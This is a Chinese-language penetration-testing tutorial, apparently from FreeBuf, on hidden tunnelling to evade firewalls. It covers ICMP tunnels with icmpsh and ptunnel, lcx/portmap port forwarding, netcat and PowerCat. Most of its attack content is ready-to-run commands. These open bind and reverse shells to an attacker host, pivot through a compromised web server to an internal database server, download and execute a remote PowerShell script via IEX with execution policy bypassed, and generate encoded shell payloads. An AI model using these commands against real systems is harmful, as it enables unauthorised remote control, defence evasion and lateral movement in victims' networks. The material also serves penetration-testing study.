隱藏通訊隧道技術

來自 | FreeBuf
在實際的網絡中,通常會通過各種邊界設備、軟/硬件防火墻甚至入侵檢測系統來檢查對外連接情況,如果發現異樣,就會對通信進行阻斷。那么什么是隧道呢?這里的隧道,就是一種繞過端口屏蔽的通信方式。防火墻兩端的數據包通過防火墻所允許的數據包類型或端口進行封裝,然后穿過防火墻,與對方進行通信。當封裝的數據包到達目的地時,將數據包還原,并將還原后的數據包發送到相應服務器上。
常用的隧道技術有以下三種:
- 網絡層:IPv6 隧道、ICMP 隧道
- 傳輸層:TCP 隧道、UDP 隧道、常規端口轉發
- 應用層:SSH 隧道、HTTP/S 隧道、DNS 隧道
先判斷內網連通性
判斷內網的連通性是指判斷機器能否上外網等。(綜合判斷各種協議)各協議的方法如下:
1. TCP 協議
用“瑞士jundao”——netcat
執行 nc 命令:nc <IP> <端口> 。
2. HTTP 協議
用“curl”工具,執行 curl <IP地址:端口> 命令。如果遠程主機開啟了相應的端口,且內網可連接外網的話,就會輸出相應的端口信息。
3. CIMP 協議
用“ping”命令,執行 ping <IP地址/域名> 。
4. DNS 協議
檢測DNS連通性常用的命令是“nslookup”和“dig”。
nslookup 是windows自帶的DNS探測命令,執行:
nslookup www.baidu.com vps-ip nslookup www.baidu.com // 不指定服務器,則使用默認的DNS服務器
dig是linux系統自帶的DNS探測命令,執行:
dig @vps-ip www.baidu.com dig www.baidu.com // 不指定服務器,則使用默認的DNS服務器
網絡層隧道技術
IPv6 隧道
IPv6 隧道技術是指通過 IPv4 隧道傳送IPv6 數據包文的技術。為了在 IPv4 海洋中傳遞 IPv6 信息,可以將 IPv4 作為隧道載體,將 IPv6 報文整體封裝在 IPv4 數據報文中,使用 IPv6 報文能夠穿過 IPv4 海洋,到達另一個IPv6 小島。
將 IPv6封裝在IPv4中的過程與其他協議封裝相似:隧道一端的節點把IPv6數據報作為要發送給隧道另一端節點的IPv4包中的凈荷數據,這樣就產生了包含IPv6數據報的IPv4數據報流。如果節點A和節點B都是只支持IPv6的節點,節點A要向B發送包,A只是簡單地把IPv6頭的目的地址設為B的IPv6地址,然后傳遞給路由器X;X對IPv6包用IPv4進行封裝,然后將IPv4頭的目的地址設為路由器Y的IPv4地址;若路由器Y收到此IPv4包,則首先拆包,如果發現被封裝的IPv6包是發給節點B的,Y就將此包正確地轉發給B。
因為現階段的邊界設備、防火墻甚至入侵防御系統 還無法識別 IPv6 的通信數據,而大多數的操作系統支持 IPv6 ,所以需要進行人工配置。

攻擊者有時會通過惡意軟件來配置允許進行 IPv6 通信的設備,以避開防火墻和入侵檢測系統。
配置隧道和自動隧道
配置隧道和自動隧道的主要區別在于:只有執行隧道功能的節點的IPv6地址是IPv4兼容地址時,自動隧道才是可行的。在為執行隧道功能的節點建立IP地址時,自動隧道方法無需進行配置;而配置隧道方法則要求隧道末端節點使用其他機制來獲得其IPv4地址,例如采用DHCP、人工配置或其他IPv4的配置機制。
支持 IPv6 的隧道工具有 socat、6tunnel、nt6tunnel 等。
ICMP 隧道
在 ICMP 通信協議中,通信雙方的兩臺設備不需要開放端口即可進行,而在一般的通信協議中,是必須要開放端口的。最常見的 ICMP 協議的消息為 ping 命令的回復,攻擊者可以利用命令行得到比回復更多的 ICMP 請求。
在一些網絡環境中,如果攻擊者使用各類上層隧道(例如HTTP隧道、DNS隧道、常規端口轉發等)進行的操作都失敗了,由于防火墻不會屏蔽ping數據包,所以常常會通過ping命令訪問遠程主機,嘗試建立ICMP隧道,將TCP/UDP數據封裝到ICMP的ping數據包中,從而穿過防火墻,實現不受限制的網絡訪問。
一下介紹常用的ICMP隧道工具。
icmpsh
icmpsh 工具是一個簡單的ICMP反彈shell工具。可以跨平臺,且運行時無需管理員權限。
下載地址:
https://github.com/inquisb/icmpsh

運行需要安裝Python的impacket類庫,以便對tcp、udp、icmp、igmp、arp、ipv4、ipv6、smb、等進行訪問。
icmpsh 運行時因為要代替系統本身的ping命令的應答程序,所以需要先執行以下命令關閉本地系統的ICMP應答,否則獲得的shell不穩定:
sysctl -w net.ipv4.icmp_echo_ignore_all=1 // 恢復設為0

實戰:
攻擊者vps模擬公網IP:192.168.1.101
受害者模擬公網IP:192.168.1.100
攻擊者server端在項目目錄下輸入:
python icmpsh_m.py 192.168.1.101 192.168.1.100 python icmpsh_m.py 攻擊者ip 受害者ip
或輸入./run.sh運行程序,之后提醒你輸入受害者公網ip,會給出你在受害者主機上執行的命令。
給受害者主機上傳icmpsh.exe并執行命令:
icmpsh.exe -t 192.168.1.101 -d 500 -b 30 -s 128
即可在攻擊機上看到受害者的shell:

imcpsh.exe參數:
-t host主機ip地址,用于向其發送ping請求。此選項是強制性的!-r 發送包含字符串的單個測試icmp請求,然后退出。這是用于測試連接的。-d 毫秒請求之間的延遲(以毫秒為單位) -o 毫秒響應超時(以毫秒為單位)。如果未及時收到回復, 從站將增加一個空白計數器。如果該計數器達到極限,則從站將退出。如果收到響應,則計數器設置回0。-b 空格數限制(退出前未答復的icmp請求 -s 字節最大數據緩沖區大小(以字節為單位)
在實際滲透測試中,我們如何知道受害機的公網ip呢,嚴格說這個ip應該是server端看到的ip,為了得到這個ip可以從內網終端ping這個vps,在vps中用tcpdump icmp或tcpdump -i eth0 icmp命令監聽并獲取這個ip,然后填寫。

Pingtunnel
Pingtunnel也是一個常用的ICMP隧道工具,可以跨平臺,4.在使用時可以給隧道設置密碼,從而防止隧道被濫用。
下載地址:
http://freshmeat.sourceforge.net/projects/ptunnel/
下面我們做一個測試。測試環境如下:

攻擊者vps 模擬公網IP:192.168.1.101 Web服務器 模擬公網IP:192.168.1.103 內網IP:192.168.52.128 數據庫服務器 內網IP:192.168.52.143
假設我們已經獲得了web服務器的權限,繼續向內網中滲透,但是攻擊者無法訪問到位于內網的數據庫服務器(192.168.52.143)。web服務器也無法直接訪問數據庫服務器,但是可以通過ping命令訪問數據庫服務器。那么我們就可以以web服務器為跳板,建立ICMP隧道對內網繼續滲透。
先在受害web服務器上面上傳ptunnel程序并執行:
ptunnel -x whoami

攻擊者vps上面執行:
ptunnel -p 192.168.1.103 -lp 1080 -da 192.168.52.143 -dp 3389 -x whoami

上述命令的含義是:在訪問攻擊者vps(192.168.1.101)的1080端口時,會把數據庫服務器(192.168.52.143)的3389端口的數據封裝在ICMP隧道里,以Web服務器192.168.1.103為ICMP隧道跳板進行傳送。整個過程中Web服務器是一個邊界服務器,作為一個跳板進行數據轉發。
最后在攻擊者vps上面訪問其本地1080端口即可與數據庫服務器的3389端口建立連接:

ptunnel的參數:
-x: 指定ICMP隧道連接的密碼 -lp: 指定攻擊者要監聽的本地TCP端口 -da: 指定要轉發的第三方目標機器的IP地址 -dp: 指定要轉發的第三方目標的TCP端口 -p: 指定ICMP隧道另一端的機器的IP地址
也可以使用ICMP隧道訪問數據庫服務器192.168.52.143的22端口,建立ssh連接。vps輸入以下命令:
ptunnel -p 192.168.1.103 -lp 1080 -da 192.168.52.143 -dp 22 -x whoami
即可用以下命令建立與內網數據庫服務器的ssh連接:
ssh administrator@127.0.0.1 -p 1080

同樣可以將內網目標服務器的web服務80端口轉發到攻擊者本地:
ptunnel -p 192.168.1.103 -lp 8000 -da 192.168.52.143 -dp 80 -x whoami
攻擊者用瀏覽器訪問vps的8000端口即可。
傳輸層隧道技術
在滲透測試中,如果內網的防火墻阻止了對指定端口的訪問,在獲取了目標機器的權限后,可以使用防火墻命令打開指定的端口或關閉防火墻。如果內網中存在一系列防御系統,TCP、UDP 流量會被大量攔截。
lcx端口轉發
lcx是一個很經典的端口轉發工具,其基于Socket套接字,有Windows和Linux兩個版本。Windows的為lcx.exe,Linux的為portmap。
下載地址:
https://github.com/MrAnonymous-1/lcx
一個正常的socket套接字必須具備兩端:一端是服務器,監聽一個端口,等待客戶端連接;另一端為客戶端,通過給出服務器的IP和端口,與服務端建立連接。
內網端口轉發
在受害機(Windows)上面執行如下命令,將受害機3389端口的數據轉發到攻擊者公網VPS(Windows)的8000端口上。
lcx.exe -slave <攻擊者ip> 8000 127.0.0.1 3389

在攻擊機上面執行如下命令,將本機8000端口上監聽到的數據轉發到本機的4444端口上面
lcx.exe -listen 8000 4444

此時即可登錄用遠程桌面登錄<攻擊者本地ip>:4444,即可訪問受害者的3389端口遠程桌面了。

Linux系統上面使用portmap:
先在具有公網ip的攻擊機上執行:
./portmap -m 2 -p1 23 -h2 127.0.0.1 -p2 2333 ./portmap -m 2 -p1 23 -h2 公網主機ip -p2 2333

意思是監聽來自23端口的請求,將其轉發到2333端口

這里有一個-m參數這個參數的解釋:以哪種方式來用這個工具,然后下面有三個方式
1.監聽 port1 端口并且連接host2的port2端口 2.監聽port1和port2端口。3.連接host1對應的端口和主機2對應的端口
受害機:
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 39.1xx.xxx.2xx -p2 23 ./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 公網主機ip -p2 23
意思就是將內網受害主機22端口的流量轉發到公網攻擊機的23端口。

接著攻擊者用ssh命令本地連接即可:

本地端口轉發
如果目標服務器由于防火墻的限制,部分端口(例如3389、22)的數據無法通過防火墻,我們可以將目標服務器相應端口的數據轉發到他的其他防火墻允許的端口上去。在受害機上面執行以下命令,就可以將目標3389端口透傳到目標機1080端口上:
lcx.exe -tran 1080 127.0.0.1 3389

netcat——瑞士jundao
下載地址:
https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download
利用nc獲取shell
(1)正向shell
受害機:
nc -ldp 4444 -e /bin/sh //linuxnc -ldp 4444 -e c:\windows\system32\cmd.exe //windows
攻擊機:
nc 192.168.1.102(受害者) 4444 //主動連接
(2)反向shell
攻擊者:
nc -lvp 4444 //開啟監聽
受害者:
nc 192.168.1.5 4444 -e /bin/sh //linuxnc 192.168.1.5 4444 -e c:\windows\system32\cmd.exe //windows
反向shell通常用在開啟了防護措施的目標機器上,例如防火墻過濾、端口轉發等。
內網代理
測試環境如下:

攻擊者vps
模擬公網IP:192.168.1.101
Web服務器
模擬公網IP:192.168.1.103
內網IP:192.168.52.128
數據庫服務器
內網IP:192.168.52.143
我們已經獲取了web服務器的權限,攻擊者vps無法訪問數據庫服務器(192.168.52.143),但是通過web服務器可以訪問數據庫服務器。我們可以嘗試利用web服務器做跳板來獲取數據庫服務器的shell。
攻擊者先在vps上面監聽2333端口:
nc -lvp 2333
接著想辦法在數據庫服務器上面執行以下命令
nc -ldp 3333 -e c:\windows\system32\cmd.exe
最后在web服務器上面執行以下命令:
nc 192.168.1.101 2333 -c "nc -v 192.168.52.143 3333"
最后在攻擊機上面獲得了數據庫服務器的shell

整個過程就是:先使web服務器連上攻擊機,在連接上的一瞬間再去連接位于內網的數據庫服務器,web服務器是邊界服務器,只當做通信的中轉。
PowerCat
PowerCat就是powershell版本的nc,與nc使用方法相似,且可以上傳到目標機本地執行,也可以讓目標機遠程下載后在內存中執行。
下載地址:
https://github.com/besimorhino/powercat
將PowerCat作為跳板:
測試環境如下:

攻擊者vps
模擬公網IP:192.168.1.101
Windows 7
模擬公網IP:192.168.1.102
內網IP:192.168.52.143
Windows Server 8
內網IP:192.168.52.138
Windows 7 可以與內網 Windows Server 8 通信,Windows 7可連通外網,攻擊機無法訪問內網的 Windows Server 8 但可以訪問Windows 7。假設我們通過滲透已經拿到了Windows 7的權限,我們可以將Windows 7作為跳板拿到內網 Windows Server 8 的shell。
先想辦法在 Windows Server 8上面上傳powercat.ps1并執行以下powershell命令
powershell -ExcutionPolicy bypass -Command "&{Import-Module C:\powercat.ps1;powercat -l -v -p 9999 -e c:\windows\system32\cmd.exe}"
接著在Windows 7 上面執行以下命令:
powershell -ExcutionPolicy bypass IEX(New-Object Net.WebClient).DownloadString("http://39.1xx.xx9.xxx/powercat.ps1");powercat -l -v -p 8000 -r tcp:192.168.52.138:9999
// -r:數據轉發
最后在攻擊者主機上面主動連接Windows 7
nc -vv 192.168.1.102 8000
即可在攻擊者主機上獲得Windows Server 8的shell:

這里的操作是正向shell會受到防火墻的限制而不成功,可以使用命令關閉受害機的防火墻。
反彈shell:
攻擊機
nc -l -p 8888 -vv
受害機
powercat -c <攻擊者IP> -p <攻擊者端口> -e C:\windows\system32\cmd.exe
反彈PowerShell:
想要反彈powershell的話,兩端必須都用powercat。
攻擊機
powercat -l -v -p 4444
受害機
powercat -c <攻擊者IP> -p <攻擊者端口> -v -ep // -ep: 用于反彈powershell
用PowerCat生成payload
正向:powercat -l -p 4444 -e c:\windows\system32\cmd.exe -v -g >> shell.ps1 反向:powercat -c <攻擊者IP> <攻擊者端口> -v -e c:\windows\system32\cmd.exe -g >> shell.ps1
在攻擊者主機上提前做好相應的配置后,將shell.ps1上傳至受害主機用powershell執行即可。
- -g:生成payload
- -ge:生成經過編碼的payload,可以使用
powershell -e/-EncodedCommand <編碼的代碼>命令來執行
本人尚為正在入門的小白一枚,文中若有不當之處,還請各位大佬多多指點,小生還需多向大佬們學習!嘻嘻嘻!!!
參考:
https://www.freebuf.com/articles/web/170970.html
https://blog.csdn.net/LTtiandd/article/details/102903725
https://www.freebuf.com/sectool/9684.html
《內網安全攻防:滲透測試實戰指南》